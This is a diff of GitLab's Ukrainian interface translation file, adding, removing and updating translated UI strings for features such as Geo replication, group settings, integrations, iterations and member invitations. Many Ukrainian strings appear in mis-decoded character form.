msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr "Помилка при отриманні перемикачів функцій."
@@ -14290,9 +14089,6 @@ msgstr "Файловий менеджер"
msgid "File deleted"
msgstr "Файл видалено"
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14308,6 +14104,9 @@ msgstr "Ім'Ñ Ñ„Ð°Ð¹Ð»Ñƒ"
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14374,9 +14173,6 @@ msgstr "Фільтрувати за назвою етапу"
msgid "Filter by name"
msgstr "Фільтр по імені"
-msgid "Filter by status"
-msgstr "Фільтрувати за ÑтатуÑом"
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14545,6 +14341,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14566,10 +14365,7 @@ msgstr "Ð”Ð»Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð´Ð¾Ð´Ð°Ñ‚ÐºÐ¾Ð²Ð¾Ñ— інформації, вÑ
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr "Ð”Ð»Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð´Ð¾Ð´Ð°Ñ‚ÐºÐ¾Ð²Ð¾Ñ— інформації, переглÑньте документацію по %{deactivating_usage_ping_link_start}деактивації даних про викориÑтаннÑ%{deactivating_usage_ping_link_end}."
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14773,159 +14569,21 @@ msgstr "Geo"
msgid "Geo Nodes"
msgstr "Гео-Вузли"
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr "Ðеможливо видалити оÑновний вузол, Ñкщо Ñ” вторинний"
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr "%{timeAgoStr} (%{pendingEvents} подій)"
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr "Вузол не працює або зламаний."
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr "Вузол працює повільно, перевантажений або тільки що відновивÑÑ Ð¿Ñ–ÑÐ»Ñ Ð·Ð±Ð¾ÑŽ."
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr "Затримка реплікації даних"
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr "Ðе відповідає оÑновній конфігурації Ñховища"
-
-msgid "GeoNodes|Full"
-msgstr "Повний"
-
-msgid "GeoNodes|GitLab version"
-msgstr "ВерÑÑ–Ñ GitLab"
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr "ВерÑÑ–Ñ GitLab не відповідає верÑÑ–Ñ— оÑновного вузла"
-
-msgid "GeoNodes|Health status"
-msgstr "Стан працездатноÑÑ‚Ñ–"
-
-msgid "GeoNodes|Internal URL"
-msgstr "Внутрішній URL"
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr "ОÑтанній ідентифікатор події, оброблений курÑором"
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr "ОÑтанній ідентифікатор події, видимий з оÑновного"
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr "Ð—Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð²ÑƒÐ·Ð»Ñ–Ð²"
-
-msgid "GeoNodes|New node"
-msgstr "Ðовий вузол"
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr "Ðвтентифікацію вузла уÑпішно полагоджено."
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr "Вузол уÑпішно видалено."
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr "Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð²ÑƒÐ·Ð»Ð° оновлено %{timeAgo}."
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr "ÐŸÑ€Ð¸Ð·ÑƒÐ¿Ð¸Ð½ÐµÐ½Ð½Ñ Ñ€ÐµÐ¿Ð»Ñ–ÐºÐ°Ñ†Ñ–Ñ— зупинÑÑ” Ð¿Ñ€Ð¾Ñ†ÐµÑ Ñинхронізації. Ви впевнені?"
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr "Ð’Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ð¾Ñновного вузла Geo зупинить Ñинхронізацію вÑÑ–Ñ… вузлів. Ви впевнені?"
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr "Ð’Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ð²Ñ‚Ð¾Ñ€Ð¸Ð½Ð½Ð¾Ð³Ð¾ вузла Geo зупинÑÑ” Ñинхронізацію з цим вузлом. Ви впевнені?"
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr "Слот реплікації WAL"
-
-msgid "GeoNodes|Replication slots"
-msgstr "Слоти реплікації"
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr "Проблема при зміні ÑтатуÑа вузла"
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr "Проблема при отриманні вузлів"
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr "Проблема при видаленні вузла"
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr "Проблема при полагодженні вузла"
-
-msgid "GeoNodes|Storage config"
-msgstr "ÐšÐ¾Ð½Ñ„Ñ–Ð³ÑƒÑ€Ð°Ñ†Ñ–Ñ Ñховища"
-
-msgid "GeoNodes|Sync settings"
-msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ñинхронізації"
-
-msgid "GeoNodes|Unused slots"
-msgstr "ÐевикориÑтані Ñлоти"
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr "ВикориÑтані Ñлоти"
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr "З %{geo} ви можете вÑтановити будь-де Ñпеціальній реплікований інÑÑ‚Ð°Ð½Ñ Ð»Ð¸ÑˆÐµ Ð´Ð»Ñ Ñ‡Ð¸Ñ‚Ð°Ð½Ð½Ñ. Перед тим, Ñк додавати вузли, дотримайтеÑÑ %{instructions} в точному порÑдку."
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr "Ви налаштували Geo-вузли через незахищене HTTP-з’єднаннÑ. Ми рекомендуємо викориÑтовувати HTTPS."
-
-msgid "GeoNodes|primary node"
-msgstr "оÑновний вузол"
-
-msgid "GeoNodes|secondary nodes"
-msgstr "вторинні вузли"
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -15016,6 +14674,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr "Ðевдало"
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr "Фільтр за ÑтатуÑом"
@@ -15115,9 +14776,6 @@ msgstr "ÐžÑ‡Ñ–ÐºÑƒÐ²Ð°Ð½Ð½Ñ Ñинхронізації"
msgid "Geo|Pending verification"
msgstr "ÐžÑ‡Ñ–ÐºÑƒÐ²Ð°Ð½Ð½Ñ Ð¿ÐµÑ€ÐµÐ²Ñ–Ñ€ÐºÐ¸"
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr "Будь лаÑка, переглÑньте документацію з уÑÑƒÐ½ÐµÐ½Ð½Ñ Ð½ÐµÐ¿Ð¾Ð»Ð°Ð´Ð¾Ðº Geo."
-
msgid "Geo|Primary node"
msgstr ""
@@ -15190,6 +14848,12 @@ msgstr "Повторна ÑинхронізаціÑ"
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr "КількіÑÑ‚ÑŒ Ñпроб"
@@ -15199,6 +14863,9 @@ msgstr "Повторно перевірити"
msgid "Geo|Reverify all"
msgstr "Повторно перевірити вÑе"
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -15229,9 +14896,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr "Ð¡Ð¸Ð½Ñ…Ñ€Ð¾Ð½Ñ–Ð·Ð°Ñ†Ñ–Ñ Ð½ÐµÐ²Ð´Ð°Ð»Ð°: %{error}"
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -15253,6 +14917,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15793,9 +15466,6 @@ msgstr "Перейти до ваших Ñніпетів"
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr "Google Cloud Platform"
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr "ÐÐ²Ñ‚ÐµÐ½Ñ‚Ð¸Ñ„Ñ–ÐºÐ°Ñ†Ñ–Ñ Google не %{link_start}налаштована належним чином%{link_end}. ЗвернітьÑÑ Ð´Ð¾ вашого адмініÑтратора GitLab Ñкщо хочете викориÑтовувати цю Ñлужбу. "
@@ -15841,6 +15511,15 @@ msgstr ""
msgid "Graph"
msgstr "Граф"
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr "Gravatar"
@@ -15862,9 +15541,6 @@ msgstr "Групу %{group_name} було призначено Ð´Ð»Ñ Ð²Ð¸Ð´Ð°Ð»
msgid "Group %{group_name} was successfully created."
msgstr "Групу %{group_name} уÑпішно Ñтворено."
-msgid "Group Audit Events"
-msgstr "Групові події аудиту"
-
msgid "Group Git LFS status:"
msgstr "Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð³Ñ€ÑƒÐ¿Ð¸ Git LFS:"
@@ -15895,6 +15571,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr "Ðватар групи"
@@ -15932,7 +15611,7 @@ msgid "Group info:"
msgstr "Ð†Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ñ–Ñ Ð¿Ñ€Ð¾ групу:"
msgid "Group information"
-msgstr ""
+msgstr "Ð†Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ñ–Ñ Ð¿Ñ€Ð¾ групу"
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15964,14 +15643,11 @@ msgstr "Ðазва групи (ваша організаціÑ)"
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr "ОглÑд групи"
-
msgid "Group overview content"
msgstr "ВміÑÑ‚ оглÑдової Ñторінки групи"
-msgid "Group path is already taken. Suggestions: "
-msgstr "ШлÑÑ… групи вже викориÑтовуєтьÑÑ. Пропозиції: "
+msgid "Group path is already taken. We've suggested one that is available."
+msgstr ""
msgid "Group path is available."
msgstr "ШлÑÑ… групи доÑтупний."
@@ -16006,9 +15682,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr "Групу уÑпішно оновлено."
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr "Група: %{group_name}"
@@ -16321,18 +15994,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
+msgstr ""
+
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr "Заборонити Ñпільний доÑтуп до проєкту в рамках %{group} з іншими групами"
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16357,6 +16027,9 @@ msgstr "Цей параметр заÑтоÑовано до %{ancestor_group}. Ð
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr "Цей параметр заÑтоÑовано до %{ancestor_group}. Ви можете перевизначити Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð°Ð±Ð¾ %{remove_ancestor_share_with_group_lock}."
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr "Цей параметр буде заÑтоÑовано до вÑÑ–Ñ… підгруп, Ñкщо тільки не буде перевизначено влаÑником групи. Групи, Ñкі вже мають доÑтуп до проєкту, будуть мати доÑтуп, Ñкщо вони не будуть вилучені вручну."
@@ -16396,15 +16069,15 @@ msgstr "не можливо змінити, Ñкщо група має проєÐ
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr "Видалити Ð±Ð»Ð¾ÐºÑƒÐ²Ð°Ð½Ð½Ñ Ñпільного доÑтупу з іншими групами з %{ancestor_group_name}"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
+msgstr ""
+
msgid "Groups"
msgstr "Групи"
msgid "Groups (%{count})"
msgstr "Групи (%{count})"
-msgid "Groups (%{groups})"
-msgstr "Групи (%{groups})"
-
msgid "Groups and projects"
msgstr "Групи та проєкти"
@@ -16481,7 +16154,7 @@ msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
msgid "GroupsNew|My Awesome Group"
-msgstr ""
+msgstr "ÐœÐ¾Ñ Ð´Ð¸Ð²Ð¾Ð²Ð¸Ð¶Ð½Ð° група"
msgid "GroupsNew|Navigate to user settings to find your %{link_start}personal access token%{link_end}."
msgstr ""
@@ -16585,6 +16258,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr "Заголовки"
@@ -16703,6 +16379,9 @@ msgstr "Приховати кориÑне навантаженнÑ"
msgid "Hide shared projects"
msgstr "Сховати Ñпільні проєкти"
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] "Сховати значеннÑ"
@@ -16788,9 +16467,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr "Як це працює"
@@ -16938,6 +16614,9 @@ msgstr "Якщо це дозволено, доÑтуп до проєктів бÑ
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -17120,9 +16799,6 @@ msgstr "Імпортувати проєкт з"
msgid "Import project members"
msgstr "Імпортувати учаÑників проєкту"
-msgid "Import project/repository"
-msgstr "Імпорт проєкту/репозиторію"
-
msgid "Import projects from Bitbucket"
msgstr "Імпортувати проєкти з Bitbucket"
@@ -17628,13 +17304,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr "Інцидент"
msgid "Incident Management Limits"
msgstr "Ліміти, пов’Ñзані із УправліннÑм Інцидентами"
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17724,9 +17403,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17830,13 +17506,13 @@ msgid "Includes LFS objects. It can be overridden per group, or per project. 0 f
msgstr "Включає об'єкти LFS. Може бути перевизначено в групі або проєкті. 0 — необмежено."
msgid "Includes an MVC structure to help you get started"
-msgstr ""
+msgstr "Включає Ñтруктуру MVC, щоб допомогти вам розпочати роботу"
msgid "Includes an MVC structure, Gemfile, Rakefile, along with many others, to help you get started"
-msgstr ""
+msgstr "Включає Ñтруктуру MVC, Gemfile, Rakefile, а також багато іншого, щоб допомогти вам розпочати роботу"
msgid "Includes an MVC structure, mvnw and pom.xml to help you get started"
-msgstr ""
+msgstr "Включає Ñтруктуру MVC, mvnw Ñ– pom.xml, щоб допомогти вам розпочати роботу"
msgid "Incoming email"
msgstr "Вхідна пошта"
@@ -17880,6 +17556,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17892,6 +17580,9 @@ msgstr "Terraform"
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17931,6 +17622,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr "Додати пропозицію"
@@ -17946,9 +17640,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr "Ð’Ñтановити"
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17961,12 +17652,6 @@ msgstr "Ð’Ñтановити на клаÑтери"
msgid "Installation"
msgstr "УÑтановка"
-msgid "Installed"
-msgstr "Ð’Ñтановлено"
-
-msgid "Installing"
-msgstr "Ð’ÑтановленнÑ"
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] "ІнÑтанÑ"
@@ -17989,6 +17674,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr "Група Ð´Ð»Ñ Ð°Ð´Ð¼Ñ–Ð½Ñ–Ñтраторів інÑтанÑу вже Ñ–Ñнує"
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -18031,9 +17719,6 @@ msgstr "Ð’ÑÑ– деталі"
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -18073,12 +17758,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -18103,9 +17800,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -18256,6 +17950,9 @@ msgstr "Ðекорректний ввід, будь лаÑка, уникайте
msgid "Invalid login or password"
msgstr "Ðеправильний логін або пароль"
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr "Ðеправильний PIN-код"
@@ -18331,25 +18028,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18358,13 +18037,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18385,7 +18061,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18394,9 +18070,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18421,6 +18094,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18832,18 +18508,36 @@ msgstr "Ітерацію оновлено"
msgid "Iterations"
msgstr "Ітерації"
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18853,6 +18547,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18865,6 +18562,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18883,9 +18586,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18985,9 +18694,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr "Події Ð´Ð»Ñ %{noteable_model_name} вимкнені."
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19036,6 +18751,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -19126,9 +18844,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr "Ð—Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð±ÑƒÐ»Ð¾ Ñтерте"
@@ -19156,18 +18871,6 @@ msgstr ""
msgid "Job was retried"
msgstr "Ð—Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð±ÑƒÐ»Ð¾ перезапущене"
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr "ЗавданнÑ"
@@ -19279,9 +18982,6 @@ msgstr "з"
msgid "Join Zoom meeting"
msgstr "ПриєднатиÑÑ Ð´Ð¾ зуÑтрічі в Zoom"
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19441,9 +19141,6 @@ msgstr ""
msgid "LFS"
msgstr "LFS"
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr "LFS-об’єкти"
@@ -19676,9 +19373,6 @@ msgstr "ДізнайтеÑÑ Ñк %{link_start}зробити внеÑок до
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr "ДізнайтеÑÑ Ñк %{no_packages_link_start}публікувати та ділитиÑÑ Ð²Ð°ÑˆÐ¸Ð¼Ð¸ пакетами%{no_packages_link_end} через GitLab."
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
